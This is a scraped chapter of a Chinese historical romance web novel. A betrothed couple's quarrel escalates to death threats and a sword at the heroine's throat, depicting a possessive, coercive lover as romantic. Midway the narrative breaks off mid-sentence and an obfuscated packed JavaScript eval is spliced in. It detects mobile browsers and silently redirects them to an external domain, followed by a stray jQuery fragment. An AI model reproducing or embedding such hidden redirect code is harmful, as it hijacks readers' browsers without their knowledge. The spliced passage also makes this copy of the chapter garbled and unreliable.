默认冷灰
24号文字
方正启体

41. 骨骼

作者:应函本书字数:K更新时间:
    韩朔等人起身行礼,商曜不过唔一声,点了点头。转身过到厅堂,同众亲兵打了个照面,就要上楼去。


    临溪暗暗呲牙,分明有些赌气。


    他又停住。


    倒着退后几步,长臂伸出,摁住临溪脑袋。


    揪了一下发包,语气淡淡:“过来。”


    临溪即刻就想回嘴,对上众人戏谑目光,脸上一热。一跺脚,飞快跟上去了。


    这还差不多!她不生气了,嘿嘿。


    轻鸿思及方才听的故事,忽然问:“你们去哪里了呀。”


    傅以存坐下用饭,听她问就抬头答:“去见张掖郡守了。”


    “就你和君侯两个人吗?”轻鸿睁大眼睛,“你们不怕太守……”


    徐砺一笑:“他的幺儿都在晋阳进学了。”


    轻鸿一愣:“什么时候的事?”


    “很早之前。”韩朔摸下巴,“两年前了。”


    轻鸿张了张嘴,有些错愕。


    “觻得县有荀竞初将军,又是张掖郡治。”徐砺看着她笑了一笑,“女公子放心,凉州不会有什么事了。”


    轻鸿心脏砰砰,再想起方才那张冷淡的脸,不由缩了一下颈项。


    她确定了,再年轻也是深不可测的蛇蝎,还是个极其年轻的,可以再作乱五十年。她只希望翩翩好运。


    姬临溪不知为何,如今对上他就有些扭捏,立刻唾弃自己。分明想骂他的,他淡然看她一看,伸出手来捉,她的身体里就像突然长了个什么别的人,控制着她的手脚,配合落到他的怀里。


    去就去了,偏偏还要作伪瞪他:“你叫我做什么?不是不想理我?”


    “我何时不想理你。”商曜望着她眉眼,抬手拿方巾去细细擦拭干净嘴角,低低一笑,“油。”


    临溪一愣,猛地起身跳开:“你——”


    瞬间红到脖颈:“你!”她再怎么说,也是个漂亮小娘子啊。


    他将她抱回腿上:“我怎么?”


    “你一点情面不留。”临溪气鼓鼓,“不可以当面说我脸上有东西!没有一点礼貌。”和小娘子卿卿我我的礼貌。


    “这也要生气。”商曜垂眸,“你从前待荀竞初也如此?”


    她心头怔了一怔。什么意思?


    “那当然不是。”临溪梗着颈项,“他那么好的人,我不舍得这样。”


    他点点头,漫不经心口吻:“那很好啊。”


    两个人都不说话了。


    他的表情淡漠极了,明明正在介怀着什么,却不肯再说。他们之间似乎总是缺少某些原本重要的只言片语,是只,是片,粗略回想时,就无伤大雅。


    临溪心里莫名有些空落,吸了下鼻子道:“你叫我过来,到底什么事?”


    他这才抬眼看她,将一个小木盒递过来:“楼兰骨簪。”


    临溪低头打开,捏在掌心里:“送我吗?”


    他嗯一声,接过去,抬手替她簪住:“很漂亮。”


    算了,算了。


    他又不是第一日知道这女子的脾气,被父母惯坏了,那是纯粹一惊一乍、石破天惊、地动山摇的胡作非为。他既然喜欢,又非要她改变,是图什么呢?


    算了。他略过心底那种微微起伏的烦躁情绪,再三警告自己,算了。


    无非以前全然不在乎。这女子亲口说过爱慕荀将军,只想要嫁给荀将军,从来不曾欺瞒。他听了只觉得更有意思。她不情不愿,他再到手,不知有多快意。越不愿意,他越快活。


    但如今不一样了。他需要庆幸荀竞初是元和二年生人而非十二年生,否则他和姬临溪之间,永远不会有故事。


    商曜不喜欢这一点,但她一次次地力证。最离奇的是,他竟然有一瞬间,真的这么想。


    不,他没有什么好说。他管不住另一个人的心,也不屑管。


    “多谢。”临溪垂下眼睛,仔细收进袖衽,“那我先走了。”


    转身去推门页,听他忽然道:“晚上过来。”


    临溪脚步一慢,脱口问出:“你送东西,是想要这个吗?”


    她自觉失态,心头一慌,不想话音落下,得到丝毫不曾停顿的反问。语调轻轻巧巧,情绪平平淡淡:“难道我还能肖想其他?”


    她睁大眼睛。什么呀?


    他却突然像是再也无法忍受她,闭了闭眼睛,冷淡道:“出去。”


    她顿了一下。他已经转身进去内间,再不管她。


    临溪有些茫然。


    犹豫片刻,鼓起勇气开口:“我知道了,对不住啊。我昨夜真的喝多了,说话是浑说的……”喝多还是因为,你不理会我,不回应我,也不哄我。


    谁料这句话才是真坏了事。


    商曜蓦地生出怒意,忽而就感到,忍她真的已经忍到极点。猛地起身,大步过来,单手将她夹起。


    任她叫骂打闹,面无表情直往里扛,重重扔在榻上,俯下身来,垂眸盯着:“难怪。酒后真言,感天动地。”


    “啊?”临溪一愣一愣,“啊,不是不是!你误会了!我不是这个意思!是因为你不理——”


    “我警告你。”他盯着她,“死了这条心,别再挑衅我。”


    她呆呆回望,瞬间闭住了嘴,有一瞬间,汹涌的伤心。


    “我既要娶你,就最后同你说一次我的性情。你既然提及晋阳城,不妨告诉你,我诸位父兄叔伯,任凭七老八十,在我面前也只配低头听命,谁废话谁就会被拖出去。你担心的洛阳皇帝赐婚,实则我那时回信他,他的女儿只要敢来,我想杀就杀,尸骨送回洛阳给他贺寿。这就是我,你明白吗?我一直就是这样的。这世上没人能忤逆我,也包括你。”他抬起她的下颌,胸膛起伏,一字一句,“不要以为我喜欢你,就允许你为所欲为。天地之大,没有任何人,有资格在我面前放肆哪怕一个字,想张嘴就提前想好死期。从前没有,今后也没有,是永远没有——”


    响亮耳光一声,毫无预兆落下。


    连回响都过分短促,只带来屋内前所未有的寂静可闻。


    她冷冷看着他,她第一次成功打到他脸上。他被生生打偏过去,英挺脸庞一动不动。


    “不装了是吧?”临溪声音微微发抖,“你就是这样的人,你骨子里就是这样的人。现下不肯再装了,是吗?”


    “你根本就不是真正地喜欢我。”她望着他,一个字比一个字重,“是欲念,是兴致,是不服气,唯独不是喜欢。”


    他终于转回来。


    “你就是了吗。”商曜盯着她双眼,“除了不得不,除了顺势而为。还剩什么?”


    “你扪心自问,能答应你的,我还有哪一条没答应?”他攥住她的手臂,打在自己胸前,“你去问问,天底下还有哪个男子,能像我纵容你一样对待你——我就想要一个顺从我陪伴我的妻子,其余都可以不管你,由你闹腾。你这样的脾气,必然跟我家中亲眷处不好,我也可以随你。为何在你这里就这么难!推三阻四,一天一个新的理由,是非要我把你父母绑走,才能乖乖听话?”


    临溪心里隐隐又是一难过。不肯叫他看出来,倔强抬起脸:“可是,你是第一天知道我这样吗?你喜欢一簇梅花凌霜傲雪,你又非要折她回家。你想要顺从温婉的女子,天底下多了去了,为什么非要找我?你非要我,又不许我做我自己本来的样子——什么好事,都让你占全吗?”


    “你以为你想要我,就是恩赐于我?”她毫不发怵,一句一句问,“你以为我稀罕?你信不信,只要我想,我明日去洛阳,后天就会是新的皇后!只要我想,无论最后是谁得到江山,我想做皇后,就去做皇后!天下男子莫不如是。从来都是我不稀罕!”


    他讥讽扯唇,她狠狠一指外间:“你觉得我很自大是吗?好,那无论旁人如何,你的佩剑眼下就在案上。你去拿,你亲自杀了我,就不用再被我影响。我那个父亲连痛告书都不敢写,对凉州任何局面任何人员,都毫无影响——你去啊!”


    他盯她一眼,竟真下了榻,大步过去抓起佩剑抽出,转瞬就又折返至前,膝骨跪抵于榻缘。


    倾身,左手牢牢攥她右肩,右手毫不犹豫以长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962436|177702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    剑悬比她细腻颈项,仍旧死死盯着她。


    临溪仰起下颌,抵近一寸,那剑锋凉意就在颈下,更加字字清晰:“动手啊——你若舍不得,我还看不起你呢。”


    商曜垂首静望着她,胸膛依旧剧烈起伏。


    为了你,他可谓殚精竭虑。


    先再三解释,你二人不过兄妹,从无僭越,维护你的处境。


    说着说着,最本源的心情偷偷溜出来。长篇大论,说着至亲至疏夫妻,希望换到一线留住你在凉州的生机。


    自觉失态,又不动声色圆回来。毒酒当前,你先打翻——这是你为他做过的事,从不曾发生在我们之间。


    为了你,那么一个人——一个十五岁就能够一箭射伤我父亲的人,理性感性悉数奉出,错乱交织。


    临溪一点也不怕,一点也不。目光甚至称得上是平静,亦不欲流泪。她越不怕,他越意识到某种情感永恒的不公,心底越是灼烧不甘,以至于延长着低下颈项的时间。


    时间一分一秒过去。


    长剑忽而抛掷于地。


    男子声线清清冷冷。


    “今日是我不好。”


    商曜收回膝骨,别开视线,只停了一停,淡声说完:“罢了,婚后不准再同张掖联系。其余,随你。”


    退后一步,抬手整理衣襟,神情恢复寡淡。


    她发誓绝不露怯,却依旧猛地微微松了口气,身体后仰一厘。


    怔忡片刻,忽然启唇:“我每次很认真地同你说话,说我害怕晋阳山高水远,害怕自己形单影只,我告诉你我想要的,你知道无法解决,就索性不回应,连安慰也不屑。来的路上待我冷淡,和旁人无异,像是我们并无特殊联结。我不开心,才负气说了那句话,其实同他根本没有干系,更不是到了张掖触景生情。我去见他和霖儿,没有一丁点逾矩,也都和轻鸿一道,全程她都在场,不信你就去问。与你这样那样,又和旁人藕断丝连,是我的错;但连我见我喜欢过情谊又如同长辈的人,你对我发这么大一通脾气,你是傻子。我方才是想好好解释的,我张了嘴,特别聪明的一张嘴。何况,我也有些喜欢你,我本来就不会伤害你的——我根本不是那样算不清亲疏是非的人!”


    他神色微微一僵。


    “但现在,”临溪语调转为冷漠,“我一点也不喜欢你了。你要听话的,世间到处都是,勿再为难我。你我这种都不喜欢低头的脾性,也许根本就不合适。”


    随即转身下了榻,毫不犹豫要往外。


    被人从身后拦腰抱住,下颌抵在她颈间,声音低低:“翩翩。”


    他许久没有动,她眨一眨眼睛。


    “让我得到。”他似乎还是冷静的,“我就放心。”


    临溪几乎要讽刺地笑出来。


    他真拿她当傻子耍。


    “好啊。”临溪目视前方,“我去沐浴。”


    他松开手。


    她往前一步,倏地抓起被他丢在地上的长剑,紧紧攥在腕间。转身就将剑锋直直指向他颌面,手臂延展,骨骼笔直,剑光寒凉。


    “你。”


    她将剑向上抬一寸,抬向他的下颚,面无表情:“我不管多少人对你卑躬屈膝——听好了,天下之大,任何一种至高无上的权势、任何一支无往不胜的部曲,能叫我死,我就一文不值地去死,但就是不能叫我服从!从前不能,今后也不能,永远都不能。少拿那一套欺压于我,我答应你,是因为我也好奇你——把你自己洗干净!”


    随手丢了剑,轻蔑回过身,头也不回离去。


    窗外风声依旧凛冽。屋内却越发地静了。


    商曜低下头,攥起双手。


    他从指节轻微作响里,听见迷恋强行钻进骨骼的声音,几乎就要变成带着疼痛的爱意。


    他就是这样的,他就是这样高高在上活着的,活了十九年,没有出一点差错——但她强行钻进来,她非要钻进来。她非要从低处,狠狠揽下他的脖颈、他的头颅、他的心脏。


    除了得到她的下一刻,他简直无法再容忍任何形态的下一刻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)